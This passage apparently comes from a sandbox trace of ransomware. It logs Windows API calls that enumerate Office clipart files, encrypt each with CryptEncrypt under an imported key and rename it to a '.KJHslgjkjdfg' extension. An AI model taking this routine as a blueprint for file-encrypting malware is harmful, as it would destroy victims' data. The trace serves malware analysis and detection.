Office\\CLIPART\\PUB60COR\\PH01235U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01235U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01235u.bmp.kjhslgjkjdfg")) returned 1 [0207.875] CloseHandle (hObject=0x130) returned 1 [0207.875] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83e7e00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83e7e00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0207.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.876] GetProcessHeap () returned 0x990000 [0207.876] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.876] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.877] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.877] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.877] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.877] GetProcessHeap () returned 0x990000 [0207.877] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.877] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.877] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.877] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.879] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.879] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.879] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.879] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.879] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.879] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.879] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0207.880] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0207.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.880] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0207.881] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.881] SetEndOfFile (hFile=0x130) returned 1 [0207.882] GetProcessHeap () returned 0x990000 [0207.882] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.882] GetProcessHeap () returned 0x990000 [0207.882] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.kjhslgjkjdfg")) returned 1 [0207.883] CloseHandle (hObject=0x130) returned 1 [0207.883] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0207.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.885] GetProcessHeap () returned 0x990000 [0207.885] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.885] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.885] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0207.887] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.887] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.887] GetProcessHeap () returned 0x990000 [0207.887] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.887] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.887] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.887] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.887] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.887] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.887] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.888] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.888] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.888] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.888] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1764, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1764, lpOverlapped=0x0) returned 1 [0207.889] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1770, dwBufLen=0x1770 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1770) returned 1 [0207.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.889] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1770, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1770, lpOverlapped=0x0) returned 1 [0207.889] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.889] SetEndOfFile (hFile=0x130) returned 1 [0207.892] GetProcessHeap () returned 0x990000 [0207.892] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.892] GetProcessHeap () returned 0x990000 [0207.892] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.kjhslgjkjdfg")) returned 1 [0207.894] CloseHandle (hObject=0x130) returned 1 [0207.894] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0207.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.895] GetProcessHeap () returned 0x990000 [0207.895] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.895] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.895] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.897] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.897] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.897] GetProcessHeap () returned 0x990000 [0207.897] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.897] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.897] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.897] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.897] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.897] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.898] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.898] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.898] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.898] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.898] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.898] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7c08, lpOverlapped=0x0) returned 1 [0207.900] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10, dwBufLen=0x7c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7c10) returned 1 [0207.900] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.900] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7c10, lpOverlapped=0x0) returned 1 [0207.901] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.901] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.901] SetEndOfFile (hFile=0x130) returned 1 [0207.903] GetProcessHeap () returned 0x990000 [0207.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.904] GetProcessHeap () returned 0x990000 [0207.904] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.kjhslgjkjdfg")) returned 1 [0207.905] CloseHandle (hObject=0x130) returned 1 [0207.905] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0207.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.906] GetProcessHeap () returned 0x990000 [0207.907] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.907] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.907] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.907] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0207.909] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.909] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.909] GetProcessHeap () returned 0x990000 [0207.909] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0207.909] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0207.909] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.909] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0207.910] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0207.910] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0207.910] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0207.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0207.910] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0207.910] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0207.910] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0207.910] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.910] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e55, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e55, lpOverlapped=0x0) returned 1 [0207.911] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60) returned 1 [0207.911] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.911] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e60, lpOverlapped=0x0) returned 1 [0207.912] CryptDestroyKey (hKey=0x9b6628) returned 1 [0207.912] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.912] SetEndOfFile (hFile=0x130) returned 1 [0207.914] GetProcessHeap () returned 0x990000 [0207.914] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0207.914] GetProcessHeap () returned 0x990000 [0207.915] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0207.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.kjhslgjkjdfg")) returned 1 [0207.916] CloseHandle (hObject=0x130) returned 1 [0207.916] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0207.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0207.918] GetProcessHeap () returned 0x990000 [0207.918] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0207.918] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0207.918] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0207.918] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, 